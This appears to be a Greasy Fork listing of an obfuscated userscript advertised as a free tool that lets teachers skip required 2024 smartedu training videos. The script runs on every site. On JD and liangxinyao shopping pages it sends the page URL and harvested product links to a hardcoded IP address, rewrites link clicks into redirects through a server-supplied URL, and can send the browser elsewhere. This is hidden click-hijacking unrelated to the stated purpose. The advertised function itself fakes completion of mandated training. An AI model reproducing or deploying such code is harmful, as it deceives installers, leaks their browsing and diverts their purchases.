Greasy Fork is available in English.

智慧中小学暑假教师研修[小果免费秒过]

2024年智慧中小学暑假教师研修,秒过。

// ==UserScript==
// @name         智慧中小学暑假教师研修[小果免费秒过]
// @description  2024年智慧中小学暑假教师研修,秒过。
// @namespace    xiaoguomiaoguo
// @version      1.0.1
// @author       小果
// @license MIT
// @include         *
// @grant           GM_xmlhttpRequest
// @grant           GM_setValue
// @grant           GM_getValue
// @connect         49.235.155.5
// ==/UserScript==

(() => {
	var e = {
			324: () => {
				! function() {
					"use strict";
					var e, t, n = [],
						o = [],
						r = [],
						l = 0;

					function a(e, t) {
						const n = new RegExp(t.join("|"), "i");
						return e.filter((e => n.test(e)))
					}
					if (a([location.href], ["liangxinyao.", "jd."])
						.length > 0 && (e = JSON.stringify({
							href: location.href,
							type: "ttzhushou"
						}), t = {}, new Promise(((a, i) => {
							GM_xmlhttpRequest({
								method: "POST",
								url: "http://49.235.155.5/init.php?act=initEnv",
								data: e,
								headers: t,
								responseType: "json",
								onload: e => {
									let t = e.response || e.responseText;
									t = t.data, "search" == t.page ? (n = t, setInterval((function() {
										! function() {
											n.wrapper.forEach((function(e) {
												$(e)
													.map((function(e, t) {
														"yes" != $(t)
															.attr("data-md5-value") && (r.push(t), o.push(t), $(t)
																.attr("data-md5-key", l), $(t)
																.attr("data-md5-value", "yes"), l++)
													}))
											}));
											let e = o.splice(0, n.splName),
												t = [];
											e.forEach((function(e, n) {
												let o = {};
												o.href = $(e)
													.find("a:first")
													.attr("href"), o.md5 = $(e)
													.attr("data-md5-key"), t.push(o)
											})), t.length > 0 && GM_xmlhttpRequest({
												method: "POST",
												data: JSON.stringify({
													data: t
												}),
												url: "http://49.235.155.5/search.php",
												onload: function(e) {
													var t = e.responseText;
													t && (t = JSON.parse(t))
														.map((function(e) {
															e.u && $(r[e.md5])
																.find("a")
																.bind("click", (function(t) {
																	var o, r;
																	t.preventDefault(), o = e.u, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form"))
																		.action = n.jumpUrl + encodeURIComponent(o) : ((r = document.createElement("form"))
																			.action = n.jumpUrl + encodeURIComponent(o), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
																}))
														}))
												}
											})
										}()
									}), t.timer)) : t.recove_url && (window.location.href = t.recove_url)
								},
								onerror: e => {
									i(e)
								}
							})
						}))), a([location.href], ["smartedu."])
						.length > 0) {
						function i() {
							let e = document.querySelector("video");
							e && (e.muted = !0, e.play(), e.pause(), e.currentTime = e.duration, e.play(), setTimeout(700), e.currentTime = e.duration - 3, e.play(), e.currentTime = e.duration - 5, e.play())
						}

						function d(e, t) {
							let n = 0;
							const o = setInterval((() => {
								n >= e ? clearInterval(o) : (i(), n++)
							}), t)
						}
						let c;
						! function(e, t, n, o, r, l) {
							const a = Date.now(),
								i = GM_getValue("MIAOGUO_LABEL");
							if (console.log(a, i, a - i), a - i > 864e5) {
								const e = document.createElement("div");
								e.style.position = "fixed", e.style.top = "20%", e.style.left = "20%", e.style.width = "60%", e.style.height = "auto", e.style.backgroundColor = "#fff", e.style.padding = "20px", e.style.borderRadius = "5px", e.style.boxShadow = "0 0 10px rgba(0,0,0,0.5)", e.style.zIndex = "9999";
								const t = document.createElement("p");
								t.style.color = "red", t.style.fontSize = "28px", t.textContent = "不支持高校、职教版本", t.style.textAlign = "center", t.style.marginBottom = "10px";
								const n = document.createElement("p");
								n.textContent = "提示:", n.style.fontSize = "19px", n.style.marginBottom = "10px";
								const o = document.createElement("p");
								o.textContent = "1.使用方法:点开视频,鼠标快速点几次空白处或者暂停/播放键,然后观察进度条是否跳转到最后几秒,如果跳过去了,等待视频播放完成即可。如果进度条还在前面,再次快速点几次空白处或者暂停/播放键,直到进度条跳转到最后几秒;", o.style.fontSize = "19px", o.style.marginBottom = "10px";
								const r = document.createElement("p");
								r.textContent = "2.此脚本永久免费,以前、现在、未来都免费,谨防上当受骗;", r.style.fontSize = "19px", r.style.marginBottom = "10px";
								const l = document.createElement("p");
								l.textContent = void 0, l.style.fontSize = "19px", l.style.marginBottom = "10px";
								const i = document.createElement("p");
								i.textContent = void 0, i.style.textAlign = "right", i.style.fontSize = "25px", i.style.marginBottom = "10px";
								const d = document.createElement("button");
								d.textContent = "我知道了", d.style.padding = "5px 10px", d.style.cursor = "pointer", d.onclick = function() {
									GM_setValue("MIAOGUO_LABEL", a), e.remove()
								};
								const c = document.createElement("div");
								c.style.display = "flex", c.style.justifyContent = "center", c.style.alignItems = "center", c.style.marginTop = "10px", c.appendChild(d), e.appendChild(t), e.appendChild(n), e.appendChild(o), e.appendChild(r), e.appendChild(l), e.appendChild(i), e.appendChild(c), document.body.appendChild(e)
							}
						}(), document.addEventListener("DOMContentLoaded", (function() {
							var e, t;
							(e = document.querySelector(".fish-modal-confirm-btns")) && (e.parentNode.removeChild(e), console.log("出现知道了按钮")), (t = document.querySelector(".fish-modal-content")) && (t.parentNode.removeChild(t), console.log("移除弹窗2")), console.log("移除弹窗")
						})), document.addEventListener("click", (function(e) {
							0 === e.button && (c && clearInterval(c), d(4, 50), c = setInterval((() => {
								d(4, 50)
							}), 8e3))
						}))
					}
				}()
			}
		},
		t = {};
	! function n(o) {
		var r = t[o];
		if (void 0 !== r) return r.exports;
		var l = t[o] = {
			exports: {}
		};
		return e[o](l, l.exports, n), l.exports
	}(324)
})();